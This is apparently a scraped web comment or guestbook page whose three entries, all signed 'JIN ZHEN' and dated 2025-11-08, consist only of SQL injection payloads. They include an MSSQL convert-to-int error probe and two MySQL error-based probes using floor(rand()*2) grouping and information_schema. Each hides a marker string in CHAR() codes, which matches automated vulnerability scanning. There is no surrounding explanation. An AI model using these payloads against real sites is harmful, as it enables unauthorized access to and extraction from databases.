(select convert(int,CHAR(52)+CHAR(67)+CHAR(117)+CHAR(88)+CHAR(50)+CHAR(72)+CHAR(85)+CHAR(110)+CHAR(114)+CHAR(49)+CHAR(52)) FROM syscolumns) (2025-11-08)
JIN ZHEN
(select 1 and row(1,1)>(select count(*),concat(concat(CHAR(52),CHAR(67),CHAR(117),CHAR(88),CHAR(50),CHAR(72),CHAR(85),CHAR(110),CHAR(114),CHAR(49),CHAR(52)),floor(rand()*2))x from (select 1 union select 2)a group by x limit 1)) (2025-11-08)
JIN ZHEN
and(select 1 from(select count(*),concat((select concat(CHAR(52),CHAR(67),CHAR(117),CHAR(88),CHAR(50),CHAR(72),CHAR(85),CHAR(110),CHAR(114),CHAR(49),CHAR(52)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and (2025-11-08)